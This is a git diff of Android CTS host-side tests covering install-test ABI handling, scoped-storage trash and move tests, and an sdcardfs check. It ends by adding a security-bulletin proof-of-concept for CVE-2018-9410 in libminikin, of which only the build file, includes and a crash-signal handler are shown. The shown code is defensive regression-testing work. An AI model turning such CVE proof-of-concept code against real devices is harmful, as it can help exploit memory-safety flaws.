@@ -44,15 +47,20 @@ import java.util.stream.IntStream;
*/
public class ClasspathDeviceInfo extends DeviceInfo {
+ private final Object mStoreLock = new Object();
+
private ITestDevice mDevice;
private DeviceSdkLevel mDeviceSdkLevel;
- private final Object mStoreLock = new Object();
- @Override
- protected void collectDeviceInfo(HostInfoStore store) throws Exception {
+ @Before
+ public void before() throws DeviceNotAvailableException {
mDevice = getDevice();
mDeviceSdkLevel = new DeviceSdkLevel(mDevice);
+ assumeTrue(mDeviceSdkLevel.isDeviceAtLeastR());
+ }
+ @Override
+ protected void collectDeviceInfo(HostInfoStore store) throws Exception {
store.startArray("jars");
collectClasspathsJars(store);
collectSharedLibraries(store);
diff --git a/hostsidetests/install/Android.bp b/hostsidetests/install/Android.bp
index f90d7643d74..150a7602077 100644
--- a/hostsidetests/install/Android.bp
+++ b/hostsidetests/install/Android.bp
@@ -21,6 +21,7 @@ java_test_host {
defaults: ["cts_defaults"],
srcs: ["src/**/*.java"],
libs: [
+ "compatibility-host-util",
"cts-tradefed",
"cts-shim-host-lib",
"tradefed",
diff --git a/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java b/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java
index 9e7743a5c6a..21bb9c5122b 100644
--- a/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java
+++ b/hostsidetests/install/src/android/cts/install/host/DeviceParameterized.java
@@ -17,6 +17,8 @@
package android.cts.install.host;
import com.android.tradefed.invoker.TestInformation;
+import com.android.tradefed.testtype.IAbiReceiver;
+import com.android.tradefed.testtype.IAbi;
import com.android.tradefed.testtype.ITestInformationReceiver;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -34,9 +36,10 @@ import java.util.List;
* Custom JUnit4 parameterized test runner that also accommodate {@link ITestInformationReceiver}
* to support {@link BaseHostJUnit4Test#getDevice()} properly.
*/
-public final class DeviceParameterized extends Parameterized implements ITestInformationReceiver {
+public final class DeviceParameterized extends Parameterized implements IAbiReceiver, ITestInformationReceiver {
private TestInformation mTestInformation;
private List<Runner> mRunners;
+ private IAbi mAbi;
public DeviceParameterized(Class<?> klass) throws Throwable {
super(klass);
@@ -66,9 +69,25 @@ public final class DeviceParameterized extends Parameterized implements ITestInf
}
}
+ @Override
+ public void setAbi(IAbi abi) {
+ mAbi = abi;
+ for (Runner runner: mRunners) {
+ if (runner instanceof IAbiReceiver) {
+ ((IAbiReceiver)runner).setAbi(mAbi);
+ }
+ }
+ }
+
+ @Override
+ public IAbi getAbi() {
+ return mAbi;
+ }
+
public static class DeviceParameterizedRunner
- extends BlockJUnit4ClassRunnerWithParameters implements ITestInformationReceiver {
+ extends BlockJUnit4ClassRunnerWithParameters implements IAbiReceiver, ITestInformationReceiver {
private TestInformation mTestInformation;
+ private IAbi mAbi;
public DeviceParameterizedRunner(TestWithParameters test) throws InitializationError {
super(test);
@@ -84,6 +103,9 @@ public final class DeviceParameterized extends Parameterized implements ITestInf
}
((ITestInformationReceiver) testObj).setTestInformation(mTestInformation);
}
+ if (testObj instanceof IAbiReceiver) {
+ ((IAbiReceiver) testObj).setAbi(mAbi);
+ }
return testObj;
}
@@ -98,6 +120,16 @@ public final class DeviceParameterized extends Parameterized implements ITestInf
}
@Override
+ public void setAbi(IAbi abi) {
+ mAbi = abi;
+ }
+
+ @Override
+ public IAbi getAbi() {
+ return mAbi;
+ }
+
+ @Override
public Description getDescription() {
// Make sure it includes test class name when generating parameterized test suites.
Description desc = Description.createSuiteDescription(getTestClass().getJavaClass());
diff --git a/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java b/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java
index fe6afac766c..fc6be6f3a7d 100644
--- a/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java
+++ b/hostsidetests/install/src/android/cts/install/host/DowngradeTest.java
@@ -24,6 +24,7 @@ import static org.junit.Assume.assumeTrue;
import android.cts.install.INSTALL_TYPE;
import android.platform.test.annotations.LargeTest;
+import com.android.compatibility.common.util.CpuFeatures;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -93,6 +94,14 @@ public final class DowngradeTest extends BaseHostJUnit4Test {
}
}
+ @Before
+ public void assumeNotNativeBridgeWithApex() throws Exception {
+ if (!CpuFeatures.isNativeAbi(getDevice(), getAbi().getName())) {
+ assumeFalse("APEX packages do not work with native bridge",
+ mInstallType.containsApex());
+ }
+ }
+
@Test
public void testNonStagedDowngrade_downgradeNotRequested_fails() throws Exception {
// Apex should not be committed in non-staged install, such logic covered in InstallTest.
diff --git a/hostsidetests/install/src/android/cts/install/host/InstallTest.java b/hostsidetests/install/src/android/cts/install/host/InstallTest.java
index 55804667b4a..d03bfabb30f 100644
--- a/hostsidetests/install/src/android/cts/install/host/InstallTest.java
+++ b/hostsidetests/install/src/android/cts/install/host/InstallTest.java
@@ -18,11 +18,13 @@ package android.cts.install.host;
import static com.google.common.truth.Truth.assertThat;
+import static org.junit.Assume.assumeFalse;
import static org.junit.Assume.assumeTrue;
import android.cts.install.INSTALL_TYPE;
import android.platform.test.annotations.LargeTest;
+import com.android.compatibility.common.util.CpuFeatures;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -96,6 +98,14 @@ public final class InstallTest extends BaseHostJUnit4Test {
}
}
+ @Before
+ public void assumeNotNativeBridgeWithApex() throws Exception {
+ if (!CpuFeatures.isNativeAbi(getDevice(), getAbi().getName())) {
+ assumeFalse("APEX packages do not work with native bridge",
+ mInstallType.containsApex());
+ }
+ }
+
@Test
public void testInstall() throws Exception {
mStaged = false;
diff --git a/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java b/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java
index 3c67a109eb4..70bb3a1b461 100644
--- a/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java
+++ b/hostsidetests/install/src/android/cts/install/host/SamegradeTest.java
@@ -24,6 +24,7 @@ import static org.junit.Assume.assumeTrue;
import android.cts.install.INSTALL_TYPE;
import android.platform.test.annotations.LargeTest;
+import com.android.compatibility.common.util.CpuFeatures;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -91,6 +92,14 @@ public final class SamegradeTest extends BaseHostJUnit4Test {
}
}
+ @Before
+ public void assumeNotNativeBridgeWithApex() throws Exception {
+ if (!CpuFeatures.isNativeAbi(getDevice(), getAbi().getName())) {
+ assumeFalse("APEX packages do not work with native bridge",
+ mInstallType.containsApex());
+ }
+ }
+
/**
* Samegrading on a non-APEX install type should be success.
*/
diff --git a/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java b/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java
index cf588633ed6..21067b5792a 100644
--- a/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java
+++ b/hostsidetests/install/src/android/cts/install/host/UpgradeTest.java
@@ -24,6 +24,7 @@ import static org.junit.Assume.assumeTrue;
import android.cts.install.INSTALL_TYPE;
import android.platform.test.annotations.LargeTest;
+import com.android.compatibility.common.util.CpuFeatures;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
@@ -81,6 +82,14 @@ public final class UpgradeTest extends BaseHostJUnit4Test {
}
@Before
+ public void assumeNotNativeBridgeWithApex() throws Exception {
+ if (!CpuFeatures.isNativeAbi(getDevice(), getAbi().getName())) {
+ assumeFalse("APEX packages do not work with native bridge",
+ mInstallType.containsApex());
+ }
+ }
+
+ @Before
public void assumeApexSupported() throws DeviceNotAvailableException {
if (mInstallType.containsApex()) {
assumeTrue("Device does not support updating APEX",
diff --git a/hostsidetests/jdwptunnel/src/android/jdwptunnel/cts/JdwpTunnelTest.java b/hostsidetests/jdwptunnel/src/android/jdwptunnel/cts/JdwpTunnelTest.java
index 5fbc913b073..879160207f2 100644
--- a/hostsidetests/jdwptunnel/src/android/jdwptunnel/cts/JdwpTunnelTest.java
+++ b/hostsidetests/jdwptunnel/src/android/jdwptunnel/cts/JdwpTunnelTest.java
@@ -26,6 +26,7 @@ import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.device.ITestDevice;
import com.android.tradefed.testtype.DeviceJUnit4ClassRunner;
import com.android.tradefed.testtype.junit4.BaseHostJUnit4Test;
+import com.android.tradefed.util.AbiUtils;
import com.sun.jdi.Bootstrap;
import com.sun.jdi.ReferenceType;
import com.sun.jdi.VirtualMachine;
@@ -41,6 +42,7 @@ import java.io.*;
import java.net.Socket;
import java.time.Instant;
import java.util.Map;
+import org.junit.Assume;
import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
@@ -269,6 +271,11 @@ public class JdwpTunnelTest extends BaseHostJUnit4Test {
}
}
+ private String getDeviceBaseArch() throws Exception {
+ String abi = mDevice.executeShellCommand("getprop ro.product.cpu.abi").replace("\n", "");
+ return AbiUtils.getBaseArchForAbi(abi);
+ }
+
/**
* Tests that we don't get any DDMS messages before the handshake.
*
@@ -277,6 +284,11 @@ public class JdwpTunnelTest extends BaseHostJUnit4Test {
*/
@Test
public void testDdmsWaitsForHandshake() throws DeviceNotAvailableException, Exception {
+ // Skip this test if not running on the device's native abi.
+ String testingArch = AbiUtils.getBaseArchForAbi(getAbi().getName());
+ String deviceArch = getDeviceBaseArch();
+ Assume.assumeTrue(testingArch.equals(deviceArch));
+
String port =
startupForwarding(DDMS_TEST_APP_PACKAGE_NAME, DDMS_TEST_APP_ACTIVITY_CLASS_NAME, false);
Socket sock = new Socket("localhost", Integer.decode(port).intValue());
diff --git a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
index 605f85cacac..3c860132c50 100644
--- a/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
+++ b/hostsidetests/scopedstorage/device/src/android/scopedstorage/cts/device/ScopedStorageDeviceTest.java
@@ -85,8 +85,10 @@ import static android.scopedstorage.cts.lib.TestUtils.readExifMetadataFromTestAp
import static android.scopedstorage.cts.lib.TestUtils.revokePermission;
import static android.scopedstorage.cts.lib.TestUtils.setAppOpsModeForUid;
import static android.scopedstorage.cts.lib.TestUtils.setAttrAs;
+import static android.scopedstorage.cts.lib.TestUtils.trashFileAndAssert;
import static android.scopedstorage.cts.lib.TestUtils.uninstallApp;
import static android.scopedstorage.cts.lib.TestUtils.uninstallAppNoThrow;
+import static android.scopedstorage.cts.lib.TestUtils.untrashFileAndAssert;
import static android.scopedstorage.cts.lib.TestUtils.updateDisplayNameWithMediaProvider;
import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaRelativePath_denied;
@@ -2057,7 +2059,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
// file.
assertListPendingOrTrashed(imageFileUri, imageFile, /*isImageOrVideo*/ true);
- trashFile(imageFileUri);
+ trashFileAndAssert(imageFileUri);
// Check that only owner package, file manager and system gallery can list trashed image
// file.
assertListPendingOrTrashed(imageFileUri, imageFile, /*isImageOrVideo*/ true);
@@ -2066,7 +2068,7 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
// Check that only owner package, file manager can list pending non media file.
assertListPendingOrTrashed(pdfFileUri, pdfFile, /*isImageOrVideo*/ false);
- trashFile(pdfFileUri);
+ trashFileAndAssert(pdfFileUri);
// Check that only owner package, file manager can list trashed non media file.
assertListPendingOrTrashed(pdfFileUri, pdfFile, /*isImageOrVideo*/ false);
} finally {
@@ -2198,6 +2200,65 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
}
@Test
+ public void testSystemGalleryCanTrashOtherAndroidMediaFiles() throws Exception {
+ final File otherVideoFile = new File(getAndroidMediaDir(),
+ String.format("%s/%s", APP_B_NO_PERMS.getPackageName(), VIDEO_FILE_NAME));
+ try {
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ assertThat(createFileAs(APP_B_NO_PERMS, otherVideoFile.getAbsolutePath())).isTrue();
+
+ final Uri otherVideoUri = MediaStore.scanFile(getContentResolver(), otherVideoFile);
+ assertNotNull(otherVideoUri);
+
+ trashFileAndAssert(otherVideoUri);
+ untrashFileAndAssert(otherVideoUri);
+ } finally {
+ otherVideoFile.delete();
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ @Test
+ public void testSystemGalleryCanUpdateOtherAndroidMediaFiles() throws Exception {
+ final File otherImageFile = new File(getAndroidMediaDir(),
+ String.format("%s/%s", APP_B_NO_PERMS.getPackageName(), IMAGE_FILE_NAME));
+ final File updatedImageFileInDcim = new File(getDcimDir(), IMAGE_FILE_NAME);
+ try {
+ allowAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+
+ assertThat(createFileAs(APP_B_NO_PERMS, otherImageFile.getAbsolutePath())).isTrue();
+
+ final Uri otherImageUri = MediaStore.scanFile(getContentResolver(), otherImageFile);
+ assertNotNull(otherImageUri);
+
+ final ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH, Environment.DIRECTORY_DCIM);
+ // Test that we can move the file to "DCIM/"
+ assertWithMessage("Result of ContentResolver#update for " + otherImageUri
+ + " with values " + values)
+ .that(getContentResolver().update(otherImageUri, values, Bundle.EMPTY))
+ .isEqualTo(1);
+ assertThat(updatedImageFileInDcim.exists()).isTrue();
+ assertThat(otherImageFile.exists()).isFalse();
+
+ values.clear();
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH,
+ "Android/media/" + APP_B_NO_PERMS.getPackageName());
+ // Test that we can move the file back to other app's owned path
+ assertWithMessage("Result of ContentResolver#update for " + otherImageUri
+ + " with values " + values)
+ .that(getContentResolver().update(otherImageUri, values, Bundle.EMPTY))
+ .isEqualTo(1);
+ assertThat(otherImageFile.exists()).isTrue();
+ } finally {
+ otherImageFile.delete();
+ updatedImageFileInDcim.delete();
+ denyAppOpsToUid(Process.myUid(), SYSTEM_GALERY_APPOPS);
+ }
+ }
+
+ @Test
public void testQueryOtherAppsFiles() throws Exception {
final File otherAppPdf = new File(getDownloadDir(), "other" + NONMEDIA_FILE_NAME);
final File otherAppImg = new File(getDcimDir(), "other" + IMAGE_FILE_NAME);
@@ -2999,16 +3060,10 @@ public class ScopedStorageDeviceTest extends ScopedStorageBaseDeviceTest {
final Uri trashedFileUri = MediaStore.scanFile(cr, trashedFile);
assertNotNull(trashedFileUri);
- trashFile(trashedFileUri);
+ trashFileAndAssert(trashedFileUri);
return trashedFileUri;
}
- private void trashFile(Uri uri) throws Exception {
- final ContentValues values = new ContentValues();
- values.put(MediaStore.MediaColumns.IS_TRASHED, 1);
- assertEquals(1, getContentResolver().update(uri, values, Bundle.EMPTY));
- }
-
/**
* Gets file path corresponding to the db row pointed by {@code uri}. If {@code uri} points to
* multiple db rows, file path is extracted from the first db row of the database query result.
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java
index 281df8f3cec..9522731fe5d 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/AppCloningHostTest.java
@@ -34,6 +34,9 @@ import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
+import java.util.ArrayList;
+import java.util.List;
+
/**
* Runs the AppCloning tests.
*/
@@ -52,6 +55,7 @@ public class AppCloningHostTest extends BaseHostTestCase {
public void setup() throws Exception {
assumeFalse("Device is in headless system user mode", isHeadlessSystemUserMode());
assumeTrue(isAtLeastS());
+ assumeFalse("Device uses sdcardfs", usesSdcardFs());
String output = executeShellCommand(
"pm create-user --profileOf 0 --user-type android.os.usertype.profile.CLONE "
@@ -66,8 +70,10 @@ public class AppCloningHostTest extends BaseHostTestCase {
@After
public void tearDown() throws Exception {
- if (isHeadlessSystemUserMode() || !isAtLeastS()) return;
- mContentProviderHandler.tearDown();
+ if (isHeadlessSystemUserMode() || !isAtLeastS() || usesSdcardFs()) return;
+ if (mContentProviderHandler != null) {
+ mContentProviderHandler.tearDown();
+ }
executeShellCommand("pm remove-user %s", mCloneUserId);
}
@@ -129,4 +135,18 @@ public class AppCloningHostTest extends BaseHostTestCase {
commandType, userId, fullUri, args);
}
+ private boolean usesSdcardFs() throws Exception {
+ List<String> mounts = new ArrayList<>();
+ CommandResult out = executeShellV2Command("cat /proc/mounts");
+ assertThat(isSuccessful(out)).isTrue();
+ for (String line : out.getStdout().split("\n")) {
+ String[] split = line.split(" ");
+ if (split.length >= 3 && split[2].equals("sdcardfs")) {
+ return true;
+ }
+ }
+ return false;
+ }
+
+
}
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
index 3b8164625f7..e4d3541b044 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/LegacyStorageHostTest.java
@@ -147,6 +147,11 @@ public class LegacyStorageHostTest extends BaseHostTestCase {
}
@Test
+ public void testCanTrashOtherAndroidMediaFiles_hasRW() throws Exception {
+ runDeviceTest("testCanTrashOtherAndroidMediaFiles_hasRW");
+ }
+
+ @Test
public void testCantRename_hasR() throws Exception {
revokePermissions("android.permission.WRITE_EXTERNAL_STORAGE");
runDeviceTest("testCantRename_hasR");
diff --git a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
index f1236b6e3eb..d31bc33dfa9 100644
--- a/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
+++ b/hostsidetests/scopedstorage/host/src/android/scopedstorage/cts/host/ScopedStorageHostTest.java
@@ -179,6 +179,26 @@ public class ScopedStorageHostTest extends BaseHostTestCase {
}
@Test
+ public void testFileManagerCanTrashOtherAndroidMediaFiles() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testFileManagerCanTrashOtherAndroidMediaFiles");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
+ @Test
+ public void testFileManagerCanUpdateOtherAndroidMediaFiles() throws Exception {
+ allowAppOps("android:manage_external_storage");
+ try {
+ runDeviceTest("testFileManagerCanUpdateOtherAndroidMediaFiles");
+ } finally {
+ denyAppOps("android:manage_external_storage");
+ }
+ }
+
+ @Test
public void testOpenOtherPendingFilesFromFuse() throws Exception {
grantPermissions("android.permission.READ_EXTERNAL_STORAGE");
try {
diff --git a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
index 4754d74ec5d..fd83a2ef74f 100644
--- a/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
+++ b/hostsidetests/scopedstorage/legacy/src/android/scopedstorage/cts/legacy/LegacyStorageTest.java
@@ -49,6 +49,8 @@ import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageStat
import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
import static android.scopedstorage.cts.lib.TestUtils.resetDefaultExternalStorageVolume;
import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
+import static android.scopedstorage.cts.lib.TestUtils.trashFileAndAssert;
+import static android.scopedstorage.cts.lib.TestUtils.untrashFileAndAssert;
import static android.scopedstorage.cts.lib.TestUtils.updateFile;
import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaData_allowed;
import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
@@ -431,6 +433,23 @@ public class LegacyStorageTest {
}
}
+ @Test
+ public void testCanTrashOtherAndroidMediaFiles_hasRW() throws Exception {
+ final File otherVideoFile = new File(getAndroidMediaDir(),
+ String.format("%s/%s", APP_B_NO_PERMS.getPackageName(), VIDEO_FILE_NAME));
+ try {
+ assertThat(createFileAs(APP_B_NO_PERMS, otherVideoFile.getAbsolutePath())).isTrue();
+
+ final Uri otherVideoUri = MediaStore.scanFile(getContentResolver(), otherVideoFile);
+ assertNotNull(otherVideoUri);
+
+ trashFileAndAssert(otherVideoUri);
+ untrashFileAndAssert(otherVideoUri);
+ } finally {
+ otherVideoFile.delete();
+ }
+ }
+
/**
* Test that legacy app with only READ_EXTERNAL_STORAGE can only rename files in app external
* directories.
diff --git a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
index 64e500a0788..30683328b35 100644
--- a/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
+++ b/hostsidetests/scopedstorage/libs/ScopedStorageTestLib/src/android/scopedstorage/cts/lib/TestUtils.java
@@ -1690,4 +1690,21 @@ public class TestUtils {
ActivityManager.class).getRunningAppProcesses().stream().filter(
p -> packageName.equals(p.processName)).findFirst();
}
+
+ public static void trashFileAndAssert(Uri uri) {
+ final ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.IS_TRASHED, 1);
+ assertWithMessage("Result of ContentResolver#update for " + uri + " with values to trash "
+ + "file " + values)
+ .that(getContentResolver().update(uri, values, Bundle.EMPTY)).isEqualTo(1);
+ }
+
+ public static void untrashFileAndAssert(Uri uri) {
+ final ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.IS_TRASHED, 0);
+ assertWithMessage("Result of ContentResolver#update for " + uri + " with values to untrash "
+ + "file " + values)
+ .that(getContentResolver().update(uri, values, Bundle.EMPTY)).isEqualTo(1);
+ }
+
}
diff --git a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
index c915235c607..814f1a24654 100644
--- a/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
+++ b/hostsidetests/scopedstorage/src/android/scopedstorage/cts/ScopedStorageTest.java
@@ -52,6 +52,8 @@ import static android.scopedstorage.cts.lib.TestUtils.pollForExternalStorageStat
import static android.scopedstorage.cts.lib.TestUtils.pollForManageExternalStorageAllowed;
import static android.scopedstorage.cts.lib.TestUtils.pollForPermission;
import static android.scopedstorage.cts.lib.TestUtils.setupDefaultDirectories;
+import static android.scopedstorage.cts.lib.TestUtils.trashFileAndAssert;
+import static android.scopedstorage.cts.lib.TestUtils.untrashFileAndAssert;
import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaData_allowed;
import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalMediaDirViaRelativePath_allowed;
import static android.scopedstorage.cts.lib.TestUtils.verifyInsertFromExternalPrivateDirViaData_denied;
@@ -66,6 +68,7 @@ import static android.system.OsConstants.W_OK;
import static androidx.test.InstrumentationRegistry.getContext;
import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
import static junit.framework.Assert.assertFalse;
import static junit.framework.Assert.assertTrue;
@@ -76,8 +79,10 @@ import static org.junit.Assume.assumeTrue;
import android.Manifest;
import android.app.WallpaperManager;
+import android.content.ContentValues;
import android.net.Uri;
import android.os.Build;
+import android.os.Bundle;
import android.os.Environment;
import android.os.ParcelFileDescriptor;
import android.os.storage.StorageManager;
@@ -122,6 +127,7 @@ public class ScopedStorageTest {
static final String AUDIO_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".mp3";
static final String IMAGE_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".jpg";
+ static final String VIDEO_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".mp4";
static final String NONMEDIA_FILE_NAME = "ScopedStorageTest_file_" + NONCE + ".pdf";
// The following apps are installed before the tests are run via a target_preparer.
@@ -534,6 +540,62 @@ public class ScopedStorageTest {
}
@Test
+ public void testFileManagerCanTrashOtherAndroidMediaFiles() throws Exception {
+ pollForManageExternalStorageAllowed();
+
+ final File otherVideoFile = new File(getAndroidMediaDir(),
+ String.format("%s/%s", APP_B_NO_PERMS.getPackageName(), VIDEO_FILE_NAME));
+ try {
+ assertThat(createFileAs(APP_B_NO_PERMS, otherVideoFile.getAbsolutePath())).isTrue();
+
+ final Uri otherVideoUri = MediaStore.scanFile(getContentResolver(), otherVideoFile);
+ assertNotNull(otherVideoUri);
+
+ trashFileAndAssert(otherVideoUri);
+ untrashFileAndAssert(otherVideoUri);
+ } finally {
+ otherVideoFile.delete();
+ }
+ }
+
+ @Test
+ public void testFileManagerCanUpdateOtherAndroidMediaFiles() throws Exception {
+ pollForManageExternalStorageAllowed();
+
+ final File otherImageFile = new File(getAndroidMediaDir(),
+ String.format("%s/%s", APP_B_NO_PERMS.getPackageName(), IMAGE_FILE_NAME));
+ final File updatedImageFileInDcim = new File(getDcimDir(), IMAGE_FILE_NAME);
+ try {
+ assertThat(createFileAs(APP_B_NO_PERMS, otherImageFile.getAbsolutePath())).isTrue();
+
+ final Uri otherImageUri = MediaStore.scanFile(getContentResolver(), otherImageFile);
+ assertNotNull(otherImageUri);
+
+ final ContentValues values = new ContentValues();
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH, Environment.DIRECTORY_DCIM);
+ // Test that we can move the file to "DCIM/"
+ assertWithMessage("Result of ContentResolver#update for " + otherImageUri
+ + " with values " + values)
+ .that(getContentResolver().update(otherImageUri, values, Bundle.EMPTY))
+ .isEqualTo(1);
+ assertThat(updatedImageFileInDcim.exists()).isTrue();
+ assertThat(otherImageFile.exists()).isFalse();
+
+ values.clear();
+ values.put(MediaStore.MediaColumns.RELATIVE_PATH,
+ "Android/media/" + APP_B_NO_PERMS.getPackageName());
+ // Test that we can move the file back to other app's owned path
+ assertWithMessage("Result of ContentResolver#update for " + otherImageUri
+ + " with values " + values)
+ .that(getContentResolver().update(otherImageUri, values, Bundle.EMPTY))
+ .isEqualTo(1);
+ } finally {
+ otherImageFile.delete();
+ updatedImageFileInDcim.delete();
+ }
+ }
+
+ @Test
public void testAndroidMedia() throws Exception {
// Check that the app does not have legacy external storage access
if (isAtLeastS()) {
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/Android.bp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/Android.bp
new file mode 100644
index 00000000000..e28a3a76fa1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/Android.bp
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at:
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ *
+ */
+
+package {
+ default_applicable_licenses: ["Android-Apache-2.0"],
+}
+
+cc_test {
+ name: "CVE-2018-9410",
+ defaults: [
+ "cts_hostsidetests_securitybulletin_defaults",
+ ],
+ srcs: [
+ "poc.cpp",
+ ":cts_hostsidetests_securitybulletin_memutils",
+ ],
+ shared_libs: [
+ "libminikin",
+ ],
+ header_libs: [
+ "libminikin-headers-for-tests",
+ ],
+ cflags: [
+ "-DCHECK_OVERFLOW",
+ "-DENABLE_SELECTIVE_OVERLOADING",
+ ],
+}
diff --git a/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/poc.cpp b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/poc.cpp
new file mode 100644
index 00000000000..a150fd4eaa1
--- /dev/null
+++ b/hostsidetests/securitybulletin/securityPatch/CVE-2018-9410/poc.cpp
@@ -0,0 +1,71 @@
+/**
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#include <FontUtils.h>
+#include <unistd.h>
+#include "../includes/common.h"
+#include "../includes/memutils.h"
+
+using namespace minikin;
+
+char enable_selective_overload = ENABLE_NONE;
+
+bool isTestInProgress = false;
+
+struct sigaction new_action, old_action;
+
+void sigsegv_handler(int signum, siginfo_t *info, void* context) {
+ if (isTestInProgress && info->si_signo == SIGSEGV) {
+ (*old_action.sa_sigaction)(signum, info, context);
+ return;
+ }
+ _exit (EXIT_FAILURE);
+}
+
+int main() {
+ sigemptyset(&new_action.sa_mask);
+ new_action.sa_flags = SA_SIGINFO;
